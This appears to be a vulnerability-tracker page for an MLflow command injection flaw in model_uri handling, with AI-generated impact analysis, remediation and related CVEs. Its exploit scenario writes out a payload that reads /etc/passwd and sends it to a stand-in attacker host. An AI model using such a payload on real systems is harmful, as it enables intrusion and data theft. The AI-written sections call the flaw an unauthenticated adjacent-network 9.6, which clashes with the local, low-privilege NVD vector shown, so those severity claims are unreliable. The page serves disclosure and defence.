Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious model_uri with shell metacharacters
-
ExploitSubmit request to MLflow model serving endpoint
-
ExecutionTrigger command substitution in bash execution
-
ImpactExecute arbitrary commands with service privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | MLflow with enable_mlserver=True parameter set during model serving. Attacker with low-privilege local access can craft malicious model_uri with shell metacharacters ($(), backticks). Privilege escalation possible if higher-privileged service serves models from attacker-writable directory. |
| Impact | The CVSS 9.6 Critical score reflects severe technical characteristics: adjacent network attack vector (AV:A), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and scope change (S:C) with complete confidentiality, integrity, and availability impact. However, the adjacent network requirement (AV:A) significantly constrains exploitation compared to internet-exposed vulnerabilities-attackers need network access to the MLflow serving infrastructure, typical in internal MLOps/data science environments. The privilege escalation dimension is particularly concerning in multi-tenant scenarios where unprivileged users can specify model_uri values processed by privileged MLflow services. Without EPSS data or KEV listing, real-world exploitation probability remains uncertain, but the low attack complexity and no authentication requirement elevate risk once network access is achieved. The technical impact is automatable once initial access is obtained. Primary risk exists in shared ML platform deployments, Kubernetes-based MLOps pipelines, and environments where model serving configurations accept user-controlled inputs. Organizations not using enable_mlserver=True or lacking adjacent network access to MLflow services face significantly reduced risk. |
| Exploit ScenarioDerived | An attacker with access to an organization's internal machine learning platform network identifies an MLflow instance serving models with enable_mlserver=True. The attacker crafts a malicious model_uri value such as 'models/test$(curl attacker.com/exfil?data=$(cat /etc/passwd))' and submits it through a model deployment API or configuration interface accessible to data scientists. When the MLflow service processes this request, the bash -c command execution interprets the embedded command substitution, exfiltrating sensitive files to the attacker's server. In multi-tenant environments, a lower-privileged data science user could exploit this to execute commands as the higher-privileged MLflow service account, potentially compromising the entire ML infrastructure, stealing model artifacts, training data, or pivoting to connected systems. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 31, 2026
Command injection in MLflow's MLServer integration allows unauthenticated adjacent network attackers to execute arbitrary commands when models are served with enable_mlserver=True. Unsanitized model_uri parameters embedded in bash -c commands enable shell metacharacter exploitation (command substitution via $() or backticks). With CVSS 9.6 (Critical) and adjacent network attack vector, this poses significant risk in multi-tenant MLOps environments where lower-privileged users can control model URIs served by higher-privileged services. No public exploit code identified at time of analysis, with EPSS data not yet available for this recent CVE.
RemediationAI
Organizations using MLflow with MLServer integration should immediately review and restrict model_uri input sources to trusted, validated paths only. Implement input validation to reject or sanitize shell metacharacters in model_uri parameters before processing. As an immediate mitigation, disable enable_mlserver=True if MLServer functionality is not required for production operations. Apply network segmentation to restrict adjacent network access to MLflow serving infrastructure to authorized users and systems only. Monitor the official MLflow GitHub repository and security advisories at https://huntr.com/bounties/2e905add-f9f5-4309-a3db-b17de5981285 for vendor-released patches addressing this vulnerability. Implement principle of least privilege for MLflow service accounts to limit privilege escalation impact. Audit existing model serving configurations to identify potentially exploitable model_uri values and review logs for suspicious command patterns. Until patches are available, consider alternative model serving approaches that do not involve MLServer or implement wrapper scripts with strict input validation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
MLflow is an open-source platform for managing machine learning lifecycle, including model serving capabilities. When MLServer integration is enabled via the enable_mlserver parameter, MLflow constructs shell commands to invoke model serving processes. The vulnerability (CWE-78: OS Command Injection) occurs because the model_uri parameter-which specifies the location of ML models to serve-is directly interpolated into bash -c command strings without input validation or sanitization. Shell metacharacters in the model_uri ($(), backticks, semicolons, pipes) are interpreted by the bash shell, enabling arbitrary command execution. The affected product is identified as mlflow/mlflow (CPE: cpe:2.3:a:mlflow:mlflow/mlflow), with all versions vulnerable according to available data. This reflects a fundamental input validation failure in the MLServer serving code path.
Know when Mlflow gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionNVD
A command injection vulnerability exists in mlflow/mlflow when serving a model with enable_mlserver=True. The model_uri is embedded directly into a shell command executed via bash -c without proper sanitization. If the model_uri contains shell metacharacters, such as $() or backticks, it allows for command substitution and execution of attacker-controlled commands. This vulnerability affects the latest version of mlflow/mlflow and can lead to privilege escalation if a higher-privileged service serves models from a directory writable by lower-privileged users.
Blast Radius
ecosystem impact- 5 pypi packages depend on mlflow (5 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.9.0.
Executive ViewAI
MLflow's MLServer integration contains a critical unauthenticated command injection vulnerability (CVSS 9.6) affecting deployments with enable_mlserver=True, allowing adjacent network attackers to execute arbitrary commands via unsanitized model URIs. Organizations running MLflow model serving in multi-tenant environments face immediate risk of service compromise and lateral movement, particularly where lower-privileged users provision models.
No vendor-released patch identified at time of analysis. Interim mitigations: disable enable_mlserver=True configuration parameter; implement strict network access controls restricting MLflow server to trusted internal networks only; deploy input validation at application layer to reject model_uri parameters containing shell metacharacters ($, `, |, &, ;, >, <); enforce principle of least privilege for service accounts running MLflow; monitor process execution logs for anomalous command activity on MLflow servers.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Server-side request forgery in MLflow before 3.15.0 lets remote unauthenticated attackers coerce the server into making
A path traversal vulnerability exists in mlflow/mlflow version 2.15.1. Rated high severity (CVSS 7.5), this vulnerabilit
Absolute Path Traversal in GitHub repository mlflow/mlflow prior to 2.5.0. Rated critical severity (CVSS 10.0), this vul
Unauthenticated remote code execution in MLflow 3.12.0rc0 through 3.16.x lets any network caller reach the tracking serv
MLflow's FastAPI job endpoints bypass basic-auth entirely, allowing network attackers to submit and execute jobs without
A malicious user could use this issue to get command execution on the vulnerable machine and get access to data & models
A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it cou
An attacker is able to arbitrarily create an account in MLflow bypassing any authentication requirment. Rated critical s
An attacker can overwrite any file on the server hosting MLflow without any authentication. Rated critical severity (CVS
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1. Rated critical severity (CVSS 9.8), th
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.2.1. Rated critical severity (CVSS 9.8), th
Insufficient sanitization in MLflow leads to XSS when running a recipe that uses an untrusted dataset. Rated critical se
EUVD-2026-17415
GHSA-rvhj-8chj-8v3c
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB